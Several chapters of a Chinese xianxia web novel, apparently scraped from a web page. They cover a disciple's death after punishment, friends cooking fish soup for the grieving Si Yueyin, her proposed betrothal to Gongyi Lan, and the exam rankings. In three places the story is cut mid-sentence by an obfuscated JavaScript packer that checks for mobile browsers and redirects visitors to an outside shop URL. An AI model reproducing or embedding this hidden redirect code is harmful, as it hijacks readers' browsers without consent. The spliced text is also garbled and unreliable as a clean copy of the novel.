善承长老一摆手,那道巨大的透明仙障就逐渐化开。司月吟早已经在外面急不可待地等了许久,这仙障刚撤下就已经冲了过去,速度快到公仪岚想拦都拦不住她。 “师兄!” 善承长老见她直奔过来,也没有阻拦她,任由她爬上了覆盖上了一层新鲜血迹的刑台,拼命呼喊司青筠的名字。 “月吟,虽然知道这样说你会很难过,但你已经叫不醒他了。”善承默然道。 司月吟闻言浑身一震:“师父,您这是何意?” 善承低头看了一眼手上拿着的法器,缓缓道:“我已经感受不到任何他的气息了。也就是说,他已经死了。” 这话一出,莫说是公仪岭,就连玄微长老都愣在原地。 玄微方才只在场外护法,知道有善承在里面,并未关注司青筠的状态,听到善承宣布了司青筠的死讯,立刻取了法器查看,而上面原本写着司青筠名字,还亮着微弱光芒的名簿,那三个字已经暗淡下来。 这就是抱元门确认弟子是否有危险的方式,一旦名字黯淡无光,就代表这名弟子已经仙逝了。 司月吟颤抖着手去探司青筠的鼻息,整个人凝在了原地,只因她果真没有探到一点气息,司青筠到底还是没能撑过剔骨之刑。 她脑中一片空白,像是失去了生气的人偶一样坐在地上,目光呆滞望着司青筠已经血肉模糊的身体。她想起司青筠说的怕这样的场景污了她的眼睛,可当她真切看到了这样血腥的画面,根本无法想象司青筠刚才承受的是怎样的锥心之痛。 一滴泪落在台上,晕开了原本快要干涸的血迹。 公仪岚知道她状态不对,当即就疾步过去,走到在刑台半蹲下身,凝声道:“……司姑娘,节哀。” 司月吟置若罔闻,只喃喃问道:“可有带了绢布吗?” 公仪岚轻轻点头,从怀中取出递给了她。 司月吟接了过来,将司青筠从地上扶了起来,用绢布轻轻将他面上的血污擦去。 仙侍们原本见司青筠活着,是要将他带去禁室,谁知忽然发生变故,一时间也都没动,齐齐看向了善承长老,请示道:“长老,司青筠既已亡故,不知他的尸身该……” 善承之前并未交代司青筠如果亡故该如何处置,按理来说,司青筠现在已经被逐出了抱元门,不再是门中弟子,无法安葬在抱元门里。况且他又是罪大恶极之人,依照以往的惯例,多半是该随意处置,或是丢到乱葬岗,或是在下界草草找个地方埋了。 善承还在犹豫着,尚未开口,就见司月吟将司青筠安稳地放在台上,屈身下去,对着自己叩首道:“师父,师兄已经仙去,还请您念在师徒一场,允他葬在抱元门吧。” “这……” 善承十分为难,一时间也没有下主意,只道:“月吟,并非我不近人情,只是司青筠已被逐出抱元门,于情于理……” 司月吟却依旧坚持,维持着叩首的姿势没有动,说道:“什么是情?什么是理?师兄现在也算是以死谢罪了,死前受此酷刑,也算是给了冀阳一个交代。” “我不敢奢求长老给他在抱元门留有仙籍,只求让师兄死后能够留在门中,哪怕是葬在抱元门山脚下也好。这里也曾是他的家,我不忍心见他死后都不能魂归故里。” 公仪岚起身,站到司月吟旁边,对善承行了一礼,说道:“既然罚也罚过,还请善承长老成全了司姑娘这点心愿吧。” 公仪岭见大哥都这样请求了,心知他们小辈恐怕不方便出言干涉,于是转头就去求助爹娘:“爹娘,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429915|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也开口说两句帮帮大哥吧。” 公仪拓心领神会,轻咳两声就对善承道:“虽然去了仙籍,但之前也没说司青筠不能葬在门中,善承长老,念在师徒一场,还请您允了吧。” 善承长老目光移向不远处的司永丰夫妇。此事关乎抱元门的声誉,司永丰既然身为抱元门的宗主,司青筠的去留,还是须得问问他的意见。 司永丰皱着眉,看着伏在地上的女儿,心里也在犹豫。 他将司月吟不管不顾丢在三位长老地方这么多年,未曾照料过她,心中对她也有歉疚,但因为司青筠犯下的过错,司永丰迟迟无法下决定。 崔如钰低声对他说道:“月吟与他情同手足,怕是早已将司青筠视作兄长看待。既然已经除了他的仙籍,名义上与抱元门再无关系,尸身在何处又有什么关系?且随了女儿一个心愿吧。” 司永丰沉吟片刻,点了点头对善承说道:“也好。那便破例允司青筠葬在门中吧。” 善承长老敛了敛目,思考了片刻,终是叹了口气对一旁的仙侍说道:“既如此,就把司青筠送回他自己的院落中,在后院安葬了他吧。” 仙侍道:“是。” 听到父亲和善承长老松口,司月吟深深俯下身,道:“谢宗主、谢师父。” 公仪岚将她从地上扶起,善承长老对他道:“公仪岚,此次历练,听闻月吟因为这件事情灵力大损,你且带她回去,找药师疗伤吧。” 公仪岚点头:“好。” 司月吟大悲大恸后,现在只觉得浑浑噩噩,头痛欲裂,双目也因为流了太多的眼泪而变得视线模糊,胸口更是像被压了一块大石头一样,只能像快溺死的鱼一样大口呼吸来缓解。公仪岚小心翼翼地扶着她下了刑台,与父母和公仪岭告别后,带着她离开了。 沈熙华看着他离去,轻轻弯了弯唇角。 仙侍很快就将司青筠带了下去处理后事。善承长老回过了身,对周围人肃然说道:“行刑既已结束,还请诸位今日回去休息三日,待三日后再宣布此次加试的结果。” 仙门中公仪岭他们这一代的年轻后辈,自出生以来除了下山除妖以外,从未真正见过这样的处刑场面,更枉论当着他们面死去的人,还是几日前与他们同行的伙伴。 每一个人都不敢去看刑台上血肉模糊的场景,一个个都紧抿着唇,垂下眼睑默然不语。 事到如今,还有谁会在意善承长老说的“加试结果”? 燕婉紧握着弟弟燕渊的手,忍不住道:“此次下山历练,于我们而言意义重大,我想大家都不会太过在意此次加试的名次,长老何必多此一举。” 善承长老视线停留在她身上,正色道:“从仙考大会开始,便已制定了这个规则,该宣布的,自然得宣布明白。” 燕婉表情带了淡淡的忧伤,没再说话。燕蓉知道师姐从前露出这个表情便是心中十分悲切,只好抚了抚她的手背安慰她。 48. 山风取仙草 池鱼遇故知(一) 事情说完,各家也都陆续离场。 公仪岭没有跟父母一起离开,而是对齐元白招了招手,快步走到他旁边。 齐元白一反常态,没有立刻回应他,而是转头与齐阳羽确认了一番后,才没有随他们离去。 公仪岭知道齐元白与他不同,自己上有公仪岚这个少宗主兜底,平日里行为就散漫了些,可齐元白实际上也算是太微山板上钉钉的少宗主了,父亲齐阳羽对他要求极为严格,在场的时候,齐元白行事少不得请示他了。 公仪岭现在才有机会询问他,于是就关切道:“元白,三化殿上你爹责难你了?” 齐元白摇头道:“算不上责难,不过是问了问我的仙考成绩,说教了两句。” 公仪岭努力回忆了一下齐元白的成绩,依稀记得还算靠前,疑惑道:“你这位次也不低吧,说教什么?” 说起这个,齐元白颇为无奈地扶了扶额,苦着脸道:“各家的宗主都比我们早些时候到,我没想到玄微长老竟然顺口就将我们几个人在仙考期间打牌的事情说出来了,所以……” “哦……难怪。” 公仪岭了然,拍了拍他的肩说道:“走吧,回院子里再说。” 他们在抱元门待了三日,这三日中公仪岭跟齐元白没少出去散心,等他们两人回到院中,已是日落时分。 公仪岚和承悦早已在院子煮了茶,等待了他们许久。公仪岭刚一进院子,就听公仪岚问道:“怎么回来这么晚?” “我与元白有些话说,就走回来了。”公仪岭道,“大哥,司姑娘可好些了?” 公仪岚眉间舒展,喝了一口茶:“我已按长老的吩咐去请了药师来,药师说,她灵力损耗过多,休养几日就不会有大碍。只不过……她看起来精神状况不佳,时不时念着要去司青筠房里寻她的生辰礼物。” 听到人没事,两人也就放下心来。齐元白笑道:“这有何难?我们替她跑一趟不就好了。” 公仪岚摇了摇头:“我一开始也是这么想的,不过抱元门正在处理司青筠的后事,他的院落被结界围了起来,恐怕得丧事办完才能进去。今日我问了爹娘,待仙考结果一出,我们就要启程回云灵山了,生辰礼这事,只能让司姑娘自己去寻了。” “这么快吗……” 公仪岭没想到他们不日就要离开,有些意外。思来想去,还是觉得自己害得司月吟受伤有些过意不去,便建议道:“她此番元气大伤,反正现在天色还不算太晚,不如我去太一池附近钓条鱼来,佐以灵草,给她做个鱼汤补补?” 公仪岚正愁没什么聊表安慰的方式,听到他这番建议也是眼前一亮,立刻追问道:“阿岭,你做鱼汤的话,需要什么样的灵草?” 公仪岭偏头想了想:“她既然是灵力亏损,又过度悲痛导致的病因,我看用滋补灵气的草为最佳。” 齐元白狐疑道:“你做的鱼汤能喝吗?别到时候给司姑娘弄得病情越来越严重了。” 承悦理解齐元白的想法,不过还是诚恳而又实在地道:“二师兄只要不做醋鱼,做其他菜的水平还是可以的。” 公仪岭欣慰道:“承悦,没白给你吃这么多条鱼,下次一定给你做条大的——醋鱼。” 公仪岚对这里也不熟悉,不知从哪能寻到,认真问道:“你们可知,抱元门内何处能寻到这草药?” “哎哎哎,问对人了,我知道我知道。” 承悦这么多年对仙门各家的功课没白做,脑海中略一搜寻就想到了地点,当即道:“抱元门后山有一面瀑布,是仙山中灵气最盛的地方,用瀑布旁生出的仙草熬煮鱼汤,定然能滋补仙体。” 公仪岚下了决定:“既然如此,那我走一趟就好了。” 承悦担心道:“眼下正是仙考排位次的时候,我们不跟抱元门打声招呼,就去取他们的仙草,会不会影响到大师兄你?” 公仪岭马上道:“主意是我出的,大哥不过是被我怂恿的去取仙草,要影响就影响我的位次,关大哥什么事情?” 齐元白也道:“这仙草取来也不是用在我们身上,是用在他们自家的司月吟身上,想来就算知道了也不会因此责难我们,大不了取完找人通报一声就好了。” 公仪岚清楚自己的实力,自然对仙考位次什么的自是不甚在意,等齐元白说完,问了他们一句:“阿岭去钓鱼,我去取仙草,你们俩打算跟着谁走?” 齐元白毫不犹豫把承悦推到公仪岚面前:“岚兄啊,我看承悦也是御剑的一把好手,就让他跟着你去吧?我、我还是跟着阿岭钓鱼好了。” 承悦被他推搡着往前走了两步,颇为无奈:“……我看你就是恐高不敢去吧?那好吧,我跟岚兄去取仙草好了。” “好,一个时辰后见!” 公仪岚和承悦都没什么需要准备的东西,跟他们说完后便立刻动身去抱元门后山。公仪岭则是回房将自己的钓具和饵料都取了出来,才与齐元白前去太一池那边。 他选择的那个绝佳点位实则也不是在太一池内,只不过恰巧与它在同一个方向,通过抄小路会到的更快些罢了。齐元白之前也与他来过几次,对这里的地形可谓轻车熟路,不费吹灰之力就找到了这个钓鱼故地。 夜幕渐垂,林中幽暗。齐元白点燃了一张符纸,勉强用作照明。 公仪岭忽然听到了什么,脚步微顿,抬手对齐元白说道:“有人在弹曲子。” 齐元白一愣,也停下了脚步,仔细去听远处传来的凄婉乐声,有些不确定地道:“这奏的是……哀乐?” 公仪岭点点头,几乎立刻确定了是谁在这边弹奏:“纪银灵在此地。” 听到这个名字,齐元白也是诧异:“你怎么这么肯定?大晚上的她不待在院子里,在这里弹什么琴……听起来还这么瘆人。” “哦……说来话长,总而言之就是之前在这边偶遇过她。” 公仪岭踢了踢脚下的树枝,继续往前走:“纪银灵也是个重情重义的女子,可能是觉得与司青筠朋友一场,所以才在这里悄悄送他一程。” 齐元白道:“难怪选在这僻静之地了,抱元门定然是不让他们为司青筠这样的戴罪之人做这些的。” 公仪岭点头应声,忽然想起多年前似乎也发生过类似的场景,不由莞尔。 越往前走,越是能隐约看见林中燃起的火光。等他们两人穿过灌木,出现在纪银灵面前的时候,纪银灵也抬了抬眼眸,明显吃了一惊,不过手上弹琴的动作未停,依旧流畅。 公仪岭这时也发现火堆旁边不止纪银灵一人,还有一个女子也蹲在地上,仔细守着火堆,手中还拿着许多黄纸叠的银元,时不时丢一些到火堆里去。 公仪岭借着火光打量了她一会儿,认出了这是谁:“燕婉姑娘,你怎么也在此地?” 燕婉将手中剩下的纸银元也都放进了火堆,起身温和道:“纪姑娘说打算来送一送司青筠,我想着夜间无事,便也跟来了。” 与此同时,纪银灵一曲奏毕,双手在叱灵琴上停了下来,轻声道:“我毕竟不是法修出身,若是在林中燃火不慎烧山就糟了,燕婉姑娘知道后,就主动与我一起来了。” “原来如此。” 齐元白疑惑看向燕婉,想起齐清鸢不在自己院中,问道:“可是,燕 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齐元白也看见了她,毫不犹豫把左手上的树枝递给了她:“来都来了,尝尝?” 纪银灵看着树枝上挂着的银鱼,微微一笑,也没跟他们俩客气:“好啊。” 公仪岭依旧稳稳地握着鱼竿,见她原地坐下,脑中蓦然想起来之前的疑问,犹豫片刻后,还是偏头顺嘴问道:“纪姑娘,之前我就想问你了,是不是你性子喜静,才不怎么和门中弟子一起走动?” “这还用问吗?早听闻纪姑娘不喜欢和陌生人说话,肯定是这个原因了。” 公仪岭反驳道:“若真是如此,刚才她就直接走了,怎么会过来找我们?” 齐元白挠了挠头,思考片刻后理直气壮道:“那……我们都一块下山历练了,也不算陌生人了吧?肯定是因为纪姑娘把我们当朋友,你说对吧?纪姑娘。” 纪银灵认真思考了一下,慢悠悠道:“是啊,我把你们当朋友。” 公仪岭一怔,又试探道:“那三化殿的时候,我看你都不怎么和六弦阁中的那些弟子说话……” 纪银灵顿了顿,含笑道:“几日疲累下来,哪里还有同他们讲话的精力。” 公仪岭悻悻道:“……好吧,是我多心了。” 纪银灵看了他许久,忽然扑哧笑出了声。 公仪岭疑惑不解。 纪银灵悠然道:“没看出来,你观察人的时候,还挺仔细。” “要是看不出这点,怎么观察出来爹娘什么时候打算揍我?” 纪银铃默了默,才淡声道:“我进六弦阁之前,爹娘就已经死了。” 公仪岭和齐元白两人“啊”了一声,显然没想到她是个无父无母的人。 公仪岭哑了许久,才张口说了两字:“抱歉。” 纪银灵脸上却没什么变化,依然平静:“没关系,都过去了。” 公仪岭正因为自己无意间的失言尴尬地不知该说什么才好,手中的钓竿在此时却动了动,打破了这尴尬的局面。 公仪岭像抓住救命稻草一样,将最后这一尾鱼手忙脚乱地收了上来。 齐元白也如获大赦一般,抄了装鱼的木桶递了过去,直到这一尾鱼落进桶里,才擦了擦额角的汗。 纪银灵见他们筐中收获满满和所剩无几的饵料,便知道他们也打算回去了,适时道:“时候不早了,两位,我先走了。” 公仪岭一边匆匆收起钓具,边道:“大晚上你一个人走也不好,我们送你回去吧。” 纪银灵停了下来,弯了弯唇角,侧身道:“也好。” 49. 山风取仙草 池鱼遇故知(二) 纪银灵的院落十分偏僻,公仪岭弯弯绕绕走了不少路,才跟着她到了住所。 齐元白低头看了一眼手上点燃的第不知道多少张符纸,颇为肉疼:“纪姑娘,要不你下次出门的时候提一盏灯出来吧,这地方这么黑,大晚上地在外面哪能摸得着路啊。” 公仪岭朝里面张望了一下,见里面漆黑一片,不由问道:“你出门前把灯都熄灭了吗?” 按他们的习惯,若是晚上出门,师兄弟们总会在屋子外面留几盏灯,好给他们指明回去的路。 纪银灵目光闪了闪,轻声道:“这间院落仅我一人居住,其他师兄弟们都住在隔壁,我想着反正也就一个人住,就没有想着留灯了。” 公仪岭微微皱眉,还想开口问些什么,可纪银灵却已经对他们挥手告别:“不早了,就送到这里吧,你们不是还要回去熬制鱼汤吗?不要耽误时辰了。” 两人对视一眼,也只能暂且作罢:“……那我们就先回去了。”随后与她行了一礼,告辞离去。 公仪岭与齐元白这一来一回地绕路,便比原先说好的时辰晚了些。公仪岚与承悦已经取了仙草回来,坐在院内的石凳上等他们回来。 走进一看,才发现公仪岚满脸倦容,身上也滴滴答答地淌着水,暗红色的袍子上还被割开了不少口子,也不知是遇到了什么东西才能让公仪岚变成这狼狈模样。 公仪岭顿时紧张起来,一个箭步上前仔细检查他身上的有没有伤口,看见那些深深浅浅的口子惊道:“大哥,这是怎么回事?什么东西害得你受伤!” 公仪岚低头看了一眼自己的伤口,又侧目瞥了一眼承悦,疲倦道:“要怪就怪承悦,只知其一不知其二。” “真是对不住……岚兄。” 承悦满脸歉疚地跟公仪岭解释:“二师兄,我们两人去了后山瀑布才发现那边守着一只碧海苍鸾。你说的那种仙草又生在瀑布悬崖边上,十分难取,岚兄费了不少功夫,才趁着那只鸟没防备取走了一株仙草,可那碧海苍鸾凶猛无比,哪怕岚兄再小心,也还是受了伤。” 齐元白明白了:“听说那只鸟是三位长老养在抱元门的神兽,难怪连岚兄都不能全身而退了。” 公仪岭见他身上大部分都是皮外伤,这才才安心了些:“房中有换洗的衣服,承悦你先带大哥回去包扎下伤口,换身衣服吧。” “好。” 承悦将仙草递给公仪岭,将公仪岚扶起回了房内。齐元白则是手里提着鱼筐,跟着公仪岭去了后院小膳房。 齐元白不通厨艺,唯一的作用就是在公仪岭做饭的时候帮他掌控一下火候,在膳房里寻来了所有要用到的材料后,便老老实实蹲在灶火前点火扇风。 公仪岭怕自己动作太慢,弄得太晚再送过去司月吟已经休息了,于是备菜的动作飞快。 齐元白看着他熟练地将鱼肚剖开,感慨道:“鱼做多了以后,阿岭你这手法还真是愈发娴熟,我看跟你的剑法比起来也不枉多让。” 这话公仪岭可就爱听了,他将鱼放进锅里,挑眉道:“难得听你夸人,不错嘛。” 齐元白盯着他的手法,嘿嘿笑道:“这些年只见你执着要把那醋鱼做出个名堂来,倒是少见你做出过这样正常的菜,一时感慨。” 公仪岭心中得意万分,用大勺扬了扬锅里的汤汁,放了佐料进去提味,悠然建议道:“元白,你来试试这鱼汤的味道。” 齐元白早已闻到了锅里面的鲜香味道,忙不迭点头:“好好好。” 膳房里留有承悦洗好的干净勺子,齐元白拿起勺子就尝了一口鱼汤,啧啧称赞:“好喝!阿岭,你做这些正常菜的时候水平高。” 公仪岭看着他意犹未尽还想再尝一口,制止了他:“你可少喝点吧,就这么一锅……还得给司姑娘送去呢。” 齐元白砸吧着嘴,似乎下定了什么决心,决然道:“阿岭,你教教我怎么做,我回去给我们家阿鸢露一手。” 公仪岭眸中精光一闪,露出一个真诚的笑容:“好说,好说。” 齐元白没想到他答应地如此痛快,兴高采烈道:“给司月吟送完汤回来就教!” 公仪岭慢悠悠道:“十张符纸。” 齐元白疑惑道:“你之前不是薅走了许多张?这么快就用完了?” 公仪岭状似叹息:“这不是历练的时候用了不少?我把我的独门秘方传授给你,十张符纸不过分吧?” 齐元白略微一思索便接受了,拍了十张符纸在桌上:“成交。” 公仪岭哈哈大笑起来,将符纸收入囊中,又取了一个食盒和碗来,将锅里的鱼汤尽数盛放了进去,对他说道:“我们一起过去找大哥吧。” 屋内,公仪岚的伤势处理地很快,承悦取了绷带来帮他缠好。公仪岚还没将上衣穿好,房内便急急忙忙闯进了一人,还没等两人反应过来,那人就慌忙转过身去,道歉道:“对不起!我不知道……” 公仪岚诧异地看着闯进来的司月吟,草草合上衣服问道:“司姑娘这会儿不是应该在房内休息吗,怎么过来了?” 司月吟面色微红,说话也结巴起来:“我、我见你们房内亮着灯,以为你们都在,就……实在是这事情太突然,我才会这么晚过来冒昧打扰……” “是发生了什么要紧事吗?”承悦给她搬了把凳子,温和道,“司姑娘,你先坐下慢慢说。” 司月吟犹豫了片刻,刚坐下,就听见外面院门传来响动。 公仪岚手里提着食盒,还没进屋内就嚷道:“大哥你感觉怎么样了?我做完鱼汤了,咱们快去找司姑娘吧!” 公仪岚还没说话,公仪岭就已经进了门,看见屋内坐着的黄衣女子,一时间还以为是自己看花了眼:“……司姑娘?” 司月吟诧异道:“你们正要去找我吗?” “啊……对。”公仪岭把食盒放在了桌案上,取出里面热腾腾的鱼汤放到她面前,“大哥去后山瀑布为你摘了点滋补的仙草,我就将它熬进鱼汤里,正打算给你送去。你现在过来了正好,快趁热喝了吧!” 司月吟看了一眼碗中的仙草,这才抬头定定地望向公仪岚:“后山瀑布养着师父的碧海苍鸾,性情凶猛。原来你身上是被它所伤。” 公仪岭立刻道:“那可不,我大哥那么厉害,寻常之物哪能伤得了他。” 公仪岚被她看得耳尖发红,不自在道:“一点小伤,不碍事。司姑娘,你先说说发生何事了?” 司月吟轻轻咬唇,沉默了半晌才对公仪岚说道:“药师走后,我爹娘过来看我,同我说了一桩事,这桩事,与你也有关。” 公仪岚不解道:“我与令尊并无交集,不知是什么事情?” “……是关于我的婚事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429917|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 司月吟低声说道:“公仪公子有所不知,我本就到了适婚年龄,却因从前未曾与其他仙家弟子们有过交集,故而迟迟没有定下婚配对象。此番师父们允我历练,另一方面的原因便是想要在仙门后辈中为我择一个年轻有为的未来夫婿。” “此事本该在仙考之后再慢慢来,只是师兄出了事情,让抱元门因此蒙羞,故而爹娘这才想要将此事提前,也算是给抱元门找一个助力。” 公仪岭心念一动:“司宗主不会是想同我们云灵山结亲吧。” 司月吟点头道:“不错,爹娘就是这个意思。” 齐元白顿时心中有数,不过还是看热闹不嫌事大,故意打趣道:“说起来你们两个人也是到了适婚年纪,就是不知道司宗主和崔夫人看上了云灵山哪位公子了?” 公仪岭心道自己可比司月吟还小一岁,上头大哥还没成家,这事还用问吗?再怎么也轮不到自己头上,他可还没有成家的打算。 于是公仪岭果断道:“我爹可就我们两个儿子,要说年轻有为,大哥绝对是不二人选。” 承悦眼见着自己看好的一对就快成真,嘴角都快压不住了,马上附和道:“没错,没错,我们云灵山虽不比抱元门富庶,但在仙家子弟中,岚兄可是久负盛名、万里挑一的存在。” 司月吟侧目对公仪岭道:“他们本来是想考虑择这次仙考大会的第一名为婿,只不过这一次夺了榜首的是公仪岭,所以……” 公仪岭自动忽略了前半句,在听到后半句就完全震惊了:“啊?我?我第一?” 齐元白对这个结果没有一点意外,拍了拍公仪岭的肩膀,奇道:“有什么惊讶的,这次加试,是你先察觉出来司青筠不对,这才真相大白。再说了,六艺考试放榜的时候,阿岭你也高居榜首啊。” 公仪岭诚实道:“我没看。” 司月吟继续道:“……所以,我爹娘觉得公仪岭你颇为不靠谱,榜首做婿这件事,就作罢了。” “……” 承悦试探道:“那大师兄这次……” 公仪岭猛然想起大哥此次乐考成绩被取消之事,心中懊悔不已——早知还有这回事,乐考那日说什么也得把大哥给拦下来啊! “大哥这次位次怕是不理想吧……” 司月吟点头道:“跟从前比起来,自然是落下许多,不过被取消了一场成绩还能位居第九,实力也可见一斑了。再说了,从前仙考大会放榜的时候,公仪岚不都是第一么?” 公仪岚听到她这么说,颇有些不好意思。 公仪岭十分高兴:“这么说,司宗主最后是想让你和大哥定下婚事?” 司月吟缓缓点了点头,与公仪岚目光交接,说道:“此事,也得问过你的意思,若是无意,我会去和爹娘说清,不会勉强。” 说完,司月吟心里打起了鼓,不由自主地避开了公仪岚的眼神,有些后悔自己今天莽撞的行径。毕竟,两人这事八字还没一撇,自己就先过来试探公仪岚的口风,倒显得她着急了。 “我有意。” 公仪岚几乎没有思考,就脱口而出这句话。说完后,才猛然意识到这句话包含的是什么意思,顿时觉得自己整个人都被夹在文火上烤,惴惴不安地等待着司月吟的反应。 司月吟不敢置信地抬眸看他,正对上了公仪岚那双温柔似水的眼眸。 50. 山风取仙草 池鱼遇故知(三) 在场的另外两个围观群众皆是露出了“果然如此”的眼神,唯有公仪岭一人睁大眼,满脸茫然:“什么时候的事情?” 公仪岚轻咳了一声,没回答公仪岭的话。 司月吟踌躇道:“之前长辈也与我提过此事,那时候我觉得还有些不妥,但这几日相处下来,我、我觉得也不是不能接受……” 公仪岭琢磨着两个人究竟是什么时候开始苗头不对的,想了半天没想起来,于是还是打算先看看,等回头有空再问一问承悦。 齐元白则是已经开始琢磨良辰吉日了,凝神认真计算了片刻,对两人认真道:“下个月初五是个好日子。” 听到这话,司月吟想起了要紧的事情,立刻正色道:“还有一件事,须得与你说清楚。” 公仪岚见她神情严肃,也挺了挺脊背:“司姑娘,你说。” “你们也知道我师兄刚仙逝的事情。虽然我爹娘觉得他已经不是门中弟子,对婚事也没什么大影响,可我视他如长兄,还是希望能够将婚事暂缓些时日,为他守丧一段时间。” 公仪岚点头应下:“这个自然,司青筠刚仙逝,若是抱元门就办了喜事,于理不合。” 司月吟继续道:“既然我们的想法一致,我看便先依爹娘的意愿行定亲之礼,至于婚期,便等到一年守丧期结束,再办也不迟。” “好。一切依照你的意思。”公仪岚毫不犹豫答应下来。 齐元白从善如流:“那到时候我再给岚兄重新算个黄道吉日。” 公仪岭问她:“司姑娘,不知司宗主和崔夫人打算何时定亲呢?” 司月吟道:“我看他们的意思便是在下个月找时间,会向云灵山发个拜帖,亲自上门将此事定下来。我想,最多在中秋之前,也就能定下此事了。” 公仪岚沉思片刻,温和道:“我只有一个要求。” “你说。” 公仪岚道:“定亲这个事情,若是原先我们不知道,那抱元门过来云灵山下拜帖倒还合情合理。只是现在我们既然已经知晓,自然是该聊表诚意。我会同父亲请愿,先来你们这里提亲,方显得我们对此事郑重。” 承悦也点头道:“若是抱元门刚出了事,就着急给司姑娘找联姻对象,难免叫人看轻了司姑娘,保不齐背后有所议论,对司姑娘的名声亦是有损。” 司月吟垂下眼,起身对他们行了一礼:“你们这样为我考虑,我很感激。” 公仪岚将她扶回椅子上,把桌上的鱼汤推到她面前:“这些都是应该的,这段时间,你好好调养身子,其余的事情,交给我们就好。” “好。”司月吟执起碗里的汤勺,开始小口小口地喝汤。 事情谈完,鱼汤见底。司月吟这次是瞒着药师和仙侍偷偷溜出来的,夜间不便逗留太久,说完事情就起身打算告辞:“我先走了,你们早点休息。” 公仪岭低头瞅了瞅桌子上的空碗,急切道:“司姑娘你都喝完了,可给点评价啊。” 司月吟回味一下,对他表示了一下鼓励:“早听说公仪岭你在厨艺上颇有天分,今日一尝果不其然。有了这滋补的仙草,想必用不了多久我就可以恢复如初了。” 齐元白小声道:“司姑娘听说的内容怎么跟我不太一样呢?” 公仪岭没有理齐元白说的话,被夸奖立马就高兴了,笑着对她作了个揖:“多谢大嫂夸赞。” 司月吟听到这称呼,脚下险些一滑,逃也似地离开了。 公仪岚无奈道:“阿岭,你吓到她了。此事定下来之前,还是不要如此唤她为好。” 公仪岭本意只是想逗一逗未来大嫂,听到公仪岚这样说,赶忙收了声:“好的,大哥,我不乱叫了。” 翌日,三化殿中,善承长老对众人宣布了这次仙考的名次,果然与司月吟所说如出一辙。 众人垂首聆听,善承站在高台上念道:“仙考大会一甲,云灵山,公仪岭。” 公仪岭面上全无喜悦之色,只默然接过了仙侍递过来的一甲奖励。 齐元白在旁边轻声道:“阿岭,这也是你凭实力拿的第一,该高兴些才是!” 毕竟父母在场,公仪岭十分难捱,担心爹娘听到大哥的名次会责怪他。公仪岭一边艰难地等着后面善承长老念的名次,一边时不时偷眼去打量爹娘的神色,心里默默打算着如果大哥被责难的话自己该如何为他开脱。 他嘴上敷衍道:“哈哈,回头有钱了请你去城中酒楼里吃酒庆贺。” 齐元白眼神亮了亮,道:“一言为定!” 燕蓉听到了他们俩的对话,悄声说道:“我听说,公仪岭你乐考上闹出来这一出,又夺了仙考一甲,现在他们都十分看重你呢。” 若是没有昨天司月吟说的一番话,没准公仪岭还真信了,只不过现在他一笑了之,并没有放在心上。 被他们长辈看中,对他来讲,并非什么好事。 公仪岭只略微想了想大哥小时候天赋与性格被爹娘看中后,被当作少宗主培养的事情,就不由胆寒。公仪岚每日卯时起,亥时息,日复一日地修习、练剑,在公仪岭跟承悦小时候还在爬树摘果子打架的时候,他就被关在书房内读书写字,没有丝毫乐趣可言。 相比起来,公仪岭觉得自己过的日子才是真正的神仙日子。当然,这日子不包括大哥对自己严格要求的那些时候。 正在胡思乱想,善承已经宣了二甲:“二甲,紫阳宗,燕煦泽。” 其他人对此并没有表现出什么反应,只因燕煦泽的实力所有人有目共睹,在往年仙考的时候,排名也是居高不下的,这二甲的位次,对他而言并无不妥。 但司月吟却在此刻沉声开口:“师父,你记错了,榜单里的二甲分明是司青筠师兄。” 善承皱眉,还没开口,司宗主就已经开口斥责道:“月吟,他既然已被逐出抱元门,原先的名次自然是留不得了。” 司月吟道:“父亲!我并非此意。既然第二甲出了问题,便将这位次空置就好,何必多此一举。” 她说得不疾不徐,脸上也不见有什么情绪变化。 位次上调的事情是司永丰一手操办,司月吟猜测他多半是为了联姻之事,卖给公仪岚一个面子。不然的话,出现这种情况,善承长老多半都会选择将位置空着,与大家说明缘由。 司永丰面色微沉,压低了声音,不悦道:“还不都是为了你?月吟,你不懂就不要……” 公仪岭眼看着他们之间火药味起,本想自己上前请愿,却又担心自己这个第一甲在这时候开口要求把别人的名次降下来,显得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429918|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知趣。于是脑子转了个弯,对原来是第四甲的燕蓉耳语道:“好燕蓉,帮个忙!” “嗯。” 燕蓉心领神会,上前一步对善承长老说道:“长老,据我所知仙考过程中若是参与的弟子出了问题,就会取消他的位次空置。往年皆是如此,我看,今年也还是依照从前的规则来吧?” 